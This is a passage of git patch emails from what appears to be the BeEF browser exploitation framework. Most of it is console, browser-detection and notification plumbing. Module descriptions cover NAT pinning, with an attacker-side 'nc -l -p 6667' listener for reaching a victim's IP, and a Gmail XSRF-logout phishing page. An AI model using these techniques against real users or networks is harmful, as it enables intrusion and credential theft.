pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: http://samy.pl/natpin/ ." + description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." authors: ["Bart Leppens"] target: working: ["FF"] diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 7d898bc65..162654815 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -15,9 +15,9 @@ # class Irc_nat_pinning < BeEF::Core::Command - def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) - end + #def pre_send + # BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) + #end def self.options return [ From ac05f24b6428ffdabf480598ce403565d9ae5f43 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 15 Jul 2012 19:17:04 +0100 Subject: [PATCH 056/225] Reverted back change on pre_send (nat_pinning module) --- modules/network/nat_pinning_irc/module.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 7d898bc65..05d005189 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -15,9 +15,10 @@ # class Irc_nat_pinning < BeEF::Core::Command - def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) - end + #todo antisnatchor: reverted for now + #def pre_send + # BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) + #end def self.options return [ From 8e2f0e9a4486673064a14a7d8b919e03bb6abb69 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 18 Jul 2012 22:03:24 +0930 Subject: [PATCH 057/225] Added support for Firefox 14 --- core/main/client/browser.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index f985874f1..cf1a5c174 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -180,12 +180,20 @@ beef.browser = { return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null; }, + /** + * Returns true if FF14 + * @example: beef.browser.isFF14() + */ + isFF14: function() { + return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null; + }, + /** * Returns true if FF. * @example: beef.browser.isFF() */ isFF: function() { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13(); + return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14(); }, /** @@ -437,6 +445,7 @@ beef.browser = { FF11: this.isFF11(), // Firefox 11 FF12: this.isFF12(), // Firefox 12 FF13: this.isFF13(), // Firefox 13 + FF14: this.isFF14(), // Firefox 14 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 @@ -497,6 +506,7 @@ beef.browser = { if (this.isFF11()) { return '11' }; // Firefox 11 if (this.isFF12()) { return '12' }; // Firefox 12 if (this.isFF13()) { return '13' }; // Firefox 13 + if (this.isFF14()) { return '14' }; // Firefox 14 if (this.isIE6()) { return '6' }; // Internet Explorer 6 if (this.isIE7()) { return '7' }; // Internet Explorer 7 From bfa2e6dbf706d6e7857d3283b3fe5246f2d405a1 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 18 Jul 2012 23:48:10 +0930 Subject: [PATCH 058/225] Minor formatting changes to the console Command list now fits on terminals 80 columns wide --- extensions/console/lib/command_dispatcher/command.rb | 6 +++--- extensions/console/lib/command_dispatcher/target.rb | 4 ++-- extensions/console/lib/shellinterface.rb | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/extensions/console/lib/command_dispatcher/command.rb b/extensions/console/lib/command_dispatcher/command.rb index 465dd3b8f..03c3a7787 100644 --- a/extensions/console/lib/command_dispatcher/command.rb +++ b/extensions/console/lib/command_dispatcher/command.rb @@ -53,10 +53,10 @@ class Command print_line("Module name: " + driver.interface.cmd['Name']) print_line("Module category: " + driver.interface.cmd['Category']) print_line("Module description: " + driver.interface.cmd['Description']) - print_line("Module parameters:") + print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0 driver.interface.cmd['Data'].each{|data| - print_line(data['name'] + " => \"" + data['value'].to_s + "\" # this is the " + data['ui_label'] + " parameter") + print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label']) } if not driver.interface.cmd['Data'].nil? end @@ -168,4 +168,4 @@ class Command end -end end end end \ No newline at end of file +end end end end diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb index a7b737360..c8099383b 100644 --- a/extensions/console/lib/command_dispatcher/target.rb +++ b/extensions/console/lib/command_dispatcher/target.rb @@ -75,7 +75,7 @@ class Target folder['children'].each { |command| tbl << [command['id'].to_s, folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"), - command['status'], + command['status'].gsub(/^Verified /,""), driver.interface.getcommandresponses(command['id']).length] #TODO } } @@ -179,4 +179,4 @@ class Target end -end end end end \ No newline at end of file +end end end end diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index f810c042e..8e65fa61d 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -245,7 +245,7 @@ class ShellInterface 'os' => [BD.get(hook_session_id, 'OsName')]}) when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - return "Verfied Not Working" + return "Verified Not Working" when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY return "Verified User Notify" when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING From 6ade1469bbb84f03d79bfc4d89c55317fbfd99b2 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 19 Jul 2012 22:51:39 +0100 Subject: [PATCH 059/225] initial commit of notifications extension --- Gemfile | 3 + Gemfile.lock | 76 +++++++++++++++++++ config.yaml | 2 +- core/main/logger.rb | 9 ++- core/main/notifications.rb | 55 ++++++++++++++ extensions/metasploit/.rpcclient.rb.swp | Bin 0 -> 16384 bytes extensions/notifications/config.yaml | 28 +++++++ extensions/notifications/extension.rb | 30 ++++++++ extensions/notifications/handler.rb | 43 +++++++++++ extensions/notifications/handlers/twitter.rb | 43 +++++++++++ 10 files changed, 287 insertions(+), 2 deletions(-) create mode 100644 Gemfile.lock create mode 100644 core/main/notifications.rb create mode 100644 extensions/metasploit/.rpcclient.rb.swp create mode 100644 extensions/notifications/config.yaml create mode 100644 extensions/notifications/extension.rb create mode 100644 extensions/notifications/handler.rb create mode 100644 extensions/notifications/handlers/twitter.rb diff --git a/Gemfile b/Gemfile index cd4bb331e..155418d9b 100644 --- a/Gemfile +++ b/Gemfile @@ -39,6 +39,9 @@ gem "erubis" gem "dm-migrations" gem "msfrpc-client" +# notifications +gem "twitter" + if ENV['BEEF_TEST'] # for running unit tests gem "test-unit" diff --git a/Gemfile.lock b/Gemfile.lock new file mode 100644 index 000000000..cddca4f41 --- /dev/null +++ b/Gemfile.lock @@ -0,0 +1,76 @@ +GEM + remote: http://rubygems.org/ + specs: + addressable (2.2.8) + ansi (1.4.2) + daemons (1.1.8) + data_objects (0.10.8) + addressable (~> 2.1) + dm-core (1.2.0) + addressable (~> 2.2.6) + dm-do-adapter (1.2.0) + data_objects (~> 0.10.6) + dm-core (~> 1.2.0) + dm-migrations (1.2.0) + dm-core (~> 1.2.0) + dm-sqlite-adapter (1.2.0) + dm-do-adapter (~> 1.2.0) + do_sqlite3 (~> 0.10.6) + do_sqlite3 (0.10.8) + data_objects (= 0.10.8) + em-websocket (0.3.6) + addressable (>= 2.1.1) + eventmachine (>= 0.12.9) + erubis (2.7.0) + eventmachine (0.12.10) + faraday (0.8.1) + multipart-post (~> 1.1) + jsmin (1.0.1) + json (1.7.3) + librex (0.0.65) + msfrpc-client (1.0.1) + librex (>= 0.0.32) + msgpack (>= 0.4.5) + msgpack (0.4.7) + multi_json (1.3.6) + multipart-post (1.1.5) + parseconfig (1.0.2) + rack (1.4.1) + rack-protection (1.2.0) + rack + simple_oauth (0.1.8) + sinatra (1.3.2) + rack (~> 1.3, >= 1.3.6) + rack-protection (~> 1.2) + tilt (~> 1.3, >= 1.3.3) + term-ansicolor (1.0.7) + thin (1.3.1) + daemons (>= 1.0.9) + eventmachine (>= 0.12.6) + rack (>= 1.0.0) + tilt (1.3.3) + twitter (3.3.1) + faraday (~> 0.8) + multi_json (~> 1.3) + simple_oauth (~> 0.1.6) + +PLATFORMS + ruby + +DEPENDENCIES + ansi + data_objects + dm-core + dm-migrations + dm-sqlite-adapter + em-websocket (~> 0.3.6) + erubis + eventmachine (= 0.12.10) + jsmin (~> 1.0.1) + json + msfrpc-client + parseconfig + sinatra (= 1.3.2) + term-ansicolor + thin + twitter diff --git a/config.yaml b/config.yaml index b9d4f8f08..d1c2f12ae 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework diff --git a/core/main/logger.rb b/core/main/logger.rb index f9e128d77..558ec5600 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,6 +24,7 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log + @notifications = BeEF::Extensions::Notifications end # Registers a new event in the logs @@ -34,6 +35,9 @@ module Core def register(from, event, hb = 0) # type conversion to enforce standards hb = hb.to_i + + # get time now + time_now = Time.now # arguments type checking raise Exception::TypeError, '"from" needs to be a string' if not from.string? @@ -41,7 +45,10 @@ module Core raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? # logging the new event into the database - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save + @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save + + # if notifications are enabled send the info there too + @notifications.new(from, event, time_now, hb) # return true diff --git a/core/main/notifications.rb b/core/main/notifications.rb new file mode 100644 index 000000000..6a99c2d19 --- /dev/null +++ b/core/main/notifications.rb @@ -0,0 +1,55 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF +module Core + + class Notifications + + include Singleton + + # Constructor + def initialize + @notifications = BeEF::Core::Models::Notifications + end + + # Registers a new event in the logs + # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) + # @param [String] event The event description + # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) + # @return [Boolean] True if the register was successful + def register(from, event, hb = 0) + # type conversion to enforce standards + hb = hb.to_i + + # arguments type checking + raise Exception::TypeError, '"from" needs to be a string' if not from.string? + raise Exception::TypeError, '"event" needs to be a string' if not event.string? + raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? + + # logging the new event into the database + @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save + + # return + true + end + + private + @logs + + end +end +end diff --git a/extensions/metasploit/.rpcclient.rb.swp b/extensions/metasploit/.rpcclient.rb.swp new file mode 100644 index 0000000000000000000000000000000000000000..9449db26428d79cdb0291e65f50f3058ef0c022c GIT binary patch literal 16384 zcmeI2ON<;x8OI9;hzBrnFmFrnc{X;>#^av#hQzS;+Fq~M@e+I2+8KLsHmg-nPt8o@ zp6;d}9xt}V;{Y+XkRVcmIB*ItZ^Z!{dL#ZT^~C)dzucI;{w}uA@*&3WB%sOd&S9;5TWnKTztFj zz|6kWR%qX@ny4I?7p3b59qGjtzuA;t zVB4;PW6ZFA+dlFNxdOQYn<=nOJTSh0Y^1o0cD(QGW|i{tT!CDHT!CDHT!CDHT!CDH zT!CDH|5F9xV2k({#FgOSdum{`&e(@e5ehxkXUU|0=7r<8Vy>|(59b5(%!K2_|upjIO ze=7*_8}NN_4J?6&!4wz=qu@TU4ZOZph~I)2!1Lg{;5zsMXoJT<4SWjh0z1Gqa5vZj z{&BYue*v$7SHO?J)8INd56*%UU^n>PJB4@=JP&>bnxGCo4W_{!@GxDRXxufrE!1y6%-f*ar(=m7SU&w$%*q_#q#(30_r>)RJf zqoPn~$R-8Ws_R>g6+ejiRgaQqbtLb@f9W;ww-Cx`$>{iv#Fde;oR-8%=+Wh?u96}_W3Gdoh_7_ybFT!Cf% zL+`v}ErC%sz2yBb!%+D6IiiRcjZb?kvp;{tG)45zIB5fuj#*8 zZM2Xpe5|%d6o`7B6`PSC#2L1N64tuL%$p0y(PE| zs>4?!Q(AVL8a`d=T;Vc?51*tZ<-%MCKi2rRuEoy1w0wK#R&8$V#CqVHIdSSy{lDm# zPewhCmF#GEH`l>lEkPV6QWbGAZ#=4@6Duv|fgE+MD7KQgjd9kTjx;^L%jHZEI$o@1 zg^X%q+cJupiA%QcdD7-UKwSq1p69m%N1YTn-Q<-`tffXUjWuYhSWrMKk`Yp%nnKDA^H$haN`Y+1~ ztwvuaOof_4HQPP$FcD6A5@bifRbhAkG+`+{$3+>2VJDJiF4_^tf%wk`aSZ82k#xw2!Wb+;h^wqdfhI7=G2UThfp9%Y%c96# zxhO+^tC7olvp!JH?$EEjw${MjBy@)M;y3o<>SI)_z^NEnD*+eJXp-fWwvw3xzZWp(t(qoXPouQHr_ipp%9Biwv#{C&K#G) zy)q}{pM%>mIdfuSV%iTS|K$@a3327}J%ngPAkUU&B;%67ZZI0|q2wxj*CahZX|;zAM%x?L9uer4a!xl+@M@V z%+XPyoG}#&zIg{zhLidhPSLylBjO0avN%c??nqzzsp@zwSH?bvH&L+R^bsut_OyCK znGVs!#ObIxF|lxF8m_4d1$;fdnH|tKE1Ah&dCm%W6k6ByRC247@DpiS#R=<$o6zX>rNZV;THo2D9O01TomJb*5U_9Y+)Nvy9nl)L7yWG{{ zZ0+Ry*%~cQEi6pU)n;d^G`~R8^K-{%YqRrn_;rG&=FZb2vvbGGBypvNHMnPh+o}6- zrxReTjnt@y6UCuZPh#0vZ#TQ*U-kTySCz))FTCp3xfv|~1h1|*D~z(Cv@lB2 z!+N!clX)8+F_a)Fp0KcnQmZ@HN<3uOk*xKDuJ@Q%OpVwiF$q&P%aKbP%Thd3u#!s- zmSf>6z9S=xwQ-ixU(uZyc3m$|1Uqq=bJ%=|*lSiV{*(q2wIp)ec7vT81yKizCmFQS$BlC$hQ zz`>mnme^`9(n7kI>M0}?xgyt_q+(Hso{(!iCN1Z>S;yMV-n8S)q)*e3+*1z3S&@;; z`Vq%f`Y*VTZp$d^FL&lE1M{knE3G{qqhCAE>z{mXtRM@wnd4(J_*pBQT|cYK9yI Date: Sun, 22 Jul 2012 11:52:27 +0100 Subject: [PATCH 060/225] Fix issue #723. Added amin_ui authenticated endpoints that returns the RESTful api token. useful when calling the Restful api from ExtJS --- extensions/admin_ui/controllers/modules/modules.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 6fce2a02c..a3d0c087c 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -28,6 +28,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController def initialize super({ 'paths' => { + '/getRestfulApiToken.json' => method(:get_restful_api_token), '/select/commandmodules/all.json' => method(:select_all_command_modules), '/select/commandmodules/tree.json' => method(:select_command_modules_tree), '/select/commandmodule.json' => method(:select_command_module), @@ -43,6 +44,17 @@ class Modules < BeEF::Extension::AdminUI::HttpController @session = BeEF::Extension::AdminUI::Session.instance end + + # @note Returns the RESTful api key. Authenticated call, so callable only + # from the admin UI after successful authentication (cookie). + # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json + # response + # <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"} + def get_restful_api_token + @body = { + 'token' => BeEF::Core::Configuration.instance.get("beef.api_token") + }.to_json + end # Returns a JSON array containing the summary for a selected zombie. def select_zombie_summary From 1defa2dbc26d29dba1f713158532c4ee4a7b9add Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 22 Jul 2012 20:38:28 +0930 Subject: [PATCH 061/225] Multiple changes to console: [console] Fixed bug in displaying browser info in console [console] Added zombie IDs to console messages [console] Added browser type to zombie info [console] Added menu support for selecting multiple zombies (incomplete) --- core/main/handlers/browserdetails.rb | 2 +- core/main/handlers/modules/command.rb | 2 +- core/main/models/command.rb | 4 +- .../console/lib/command_dispatcher/core.rb | 58 ++++++++++++------- .../console/lib/command_dispatcher/target.rb | 7 ++- extensions/console/lib/shellinterface.rb | 2 +- 6 files changed, 48 insertions(+), 27 deletions(-) diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 9a5f27946..4f597f402 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -279,7 +279,7 @@ module BeEF end # log a few info of newly hooked zombie in the console - print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" + print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" # Call autorun modules diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 9d7646614..dc98b1ef8 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -82,7 +82,7 @@ module BeEF # @note prints the event to the console if BeEF::Settings.console? name = command_module.friendlyname || kclass - print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'" + print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module '#{name}'" end # @note flag that the command has been sent to the hooked browser diff --git a/core/main/models/command.rb b/core/main/models/command.rb index c4f8751e4..3ea317ae4 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -65,11 +65,11 @@ module Models command.save # @note log that the result was returned - BeEF::Core::Logger.instance.register('Command', "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id) + BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id) # @note prints the event into the console if BeEF::Settings.console? - print_info "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'" + print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'" end end diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 2a1f81a99..09108cc88 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -47,10 +47,14 @@ class Core end def cmd_back(*args) - if (driver.current_dispatcher.name == 'Command') - driver.remove_dispatcher('Command') - driver.interface.clearcommand #TODO: TIDY THIS UP - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + if (driver.current_dispatcher.name == 'Command') + driver.remove_dispatcher('Command') + driver.interface.clearcommand #TODO: TIDY THIS UP + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + end elsif (driver.current_dispatcher.name == 'Target') driver.remove_dispatcher('Target') driver.interface.cleartarget @@ -147,11 +151,12 @@ class Core [ 'Id', 'IP', + 'Browser', 'OS' ]) BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie| - tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))] + tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')] end puts "\n" @@ -178,11 +183,12 @@ class Core [ 'Id', 'IP', + 'Browser', 'OS' ]) BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie| - tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))] + tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')] end puts "\n" @@ -213,23 +219,30 @@ class Core BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |zombie| onlinezombies << zombie.id end - - if not onlinezombies.include?(args[0].to_i) - print_status("Browser does not appear to be online..") - return false - end - - if not driver.interface.settarget(args[0]).nil? + + targets = args[0].split(',') + targets.each {|t| + if not onlinezombies.include?(t.to_i) + print_status("Browser [id:"+t.to_s+"] does not appear to be online.") + return false + end + #print_status("Adding browser [id:"+t.to_s+"] to target list.") + } + + if not driver.interface.settarget(targets).nil? if (driver.dispatcher_stack.size > 1 and driver.current_dispatcher.name != 'Core') - driver.destack_dispatcher - driver.update_prompt('') + driver.update_prompt('') end - + driver.enstack_dispatcher(Target) - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + end end end @@ -287,13 +300,16 @@ class Core if not driver.interface.setofflinetarget(args[0]).nil? if (driver.dispatcher_stack.size > 1 and driver.current_dispatcher.name != 'Core') - driver.destack_dispatcher - driver.update_prompt('') + driver.update_prompt('') end driver.enstack_dispatcher(Target) - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + end end end @@ -381,4 +397,4 @@ class Core end -end end end end \ No newline at end of file +end end end end diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb index c8099383b..609723de7 100644 --- a/extensions/console/lib/command_dispatcher/target.rb +++ b/extensions/console/lib/command_dispatcher/target.rb @@ -159,7 +159,12 @@ class Target driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] / "+driver.interface.cmd['Name']+" ") + if driver.interface.targetid.length > 1 + driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ") + else + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ") + end + end def cmd_select_help(*args) diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 8e65fa61d..70c71c014 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -336,7 +336,7 @@ class ShellInterface page_name_row = { 'category' => 'Host', - 'data' => encoded_date_stamp, + 'data' => encoded_date_stamp_hash, 'from' => 'Initialization' } From 6342fdad77667f5393b1cb2e9ad8f6a22880cfb0 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 23 Jul 2012 10:55:41 +0100 Subject: [PATCH 062/225] Fixec and enhanced the bind_socket method in AssetHandler. Multi-thread, close socket when no more data is received, print_debug raw request --- core/main/network_stack/assethandler.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 52df821bd..0c13e4732 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -69,9 +69,14 @@ module Handlers server = TCPServer.new(host,port) loop do Thread.start(server.accept) do |client| - # client.puts "" - # we don't close the client socket - # client.close + data = "" + recv_length = 64 + while (tmp = client.recv(recv_length)) + data += tmp + break if tmp.length < recv_length + end + client.close + print_debug "Bind Socket on Thread [#{name}] received:\n#{data}" end end } From 6139da216141afd60031af3f5e2e342c95edef5f Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 23 Jul 2012 11:05:38 +0100 Subject: [PATCH 063/225] Managing the famous if data == buffer_length case while receiving data in socket (bind_socket) --- core/main/network_stack/assethandler.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 0c13e4732..0e74791fb 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -73,7 +73,7 @@ module Handlers recv_length = 64 while (tmp = client.recv(recv_length)) data += tmp - break if tmp.length < recv_length + break if tmp.length < recv_length || tmp.length == recv_length end client.close print_debug "Bind Socket on Thread [#{name}] received:\n#{data}" From 34a2f86877e20438bdd94cee76618ab78b5cfea1 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Mon, 23 Jul 2012 19:31:57 +0800 Subject: [PATCH 064/225] Tidied up the gmail phishing module - its not embedded so category is now a string not array --- modules/social_engineering/gmail_phishing/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/social_engineering/gmail_phishing/config.yaml b/modules/social_engineering/gmail_phishing/config.yaml index 2ec1d6c6e..a7666f4b3 100644 --- a/modules/social_engineering/gmail_phishing/config.yaml +++ b/modules/social_engineering/gmail_phishing/config.yaml @@ -17,7 +17,7 @@ beef: module: gmail_phishing: enable: true - category: ["Social Engineering"] + category: "Social Engineering" name: "Google Phishing" description: "This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL)." authors: ["floyd @floyd_ch floyd.ch"] From 2b8a389da1b56ad5adad36b4d5fa3f734534477e Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Mon, 23 Jul 2012 20:30:00 +0800 Subject: [PATCH 065/225] Fixes Issue #724 - Console Shell now prints modules which are in sub-categories --- .../console/lib/command_dispatcher/target.rb | 6 +++--- extensions/console/lib/shellinterface.rb | 19 ++++++++++++++++++- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb index 609723de7..5a4fe0ec6 100644 --- a/extensions/console/lib/command_dispatcher/target.rb +++ b/extensions/console/lib/command_dispatcher/target.rb @@ -28,7 +28,7 @@ class Target begin driver.interface.getcommands.each { |folder| folder['children'].each { |command| - @@commands << folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") + @@commands << folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_") } } rescue @@ -73,8 +73,8 @@ class Target driver.interface.getcommands.each { |folder| folder['children'].each { |command| - tbl << [command['id'].to_s, - folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"), + tbl << [command['id'].to_i, + folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"), command['status'].gsub(/^Verified /,""), driver.interface.getcommandresponses(command['id']).length] #TODO } diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb index 70c71c014..55869fae7 100644 --- a/extensions/console/lib/shellinterface.rb +++ b/extensions/console/lib/shellinterface.rb @@ -60,6 +60,9 @@ class ShellInterface tree = [] BeEF::Modules.get_categories.each { |c| + if c[-1,1] != "/" + c.concat("/") + end tree.push({ 'text' => c, 'cls' => 'folder', @@ -68,7 +71,21 @@ class ShellInterface } BeEF::Modules.get_enabled.each{|k, mod| - update_command_module_tree(tree, mod['category'], get_command_module_status(k), mod['name'],mod['db']['id']) + + flatcategory = "" + if mod['category'].kind_of?(Array) + # Therefore this module has nested categories (sub-folders), 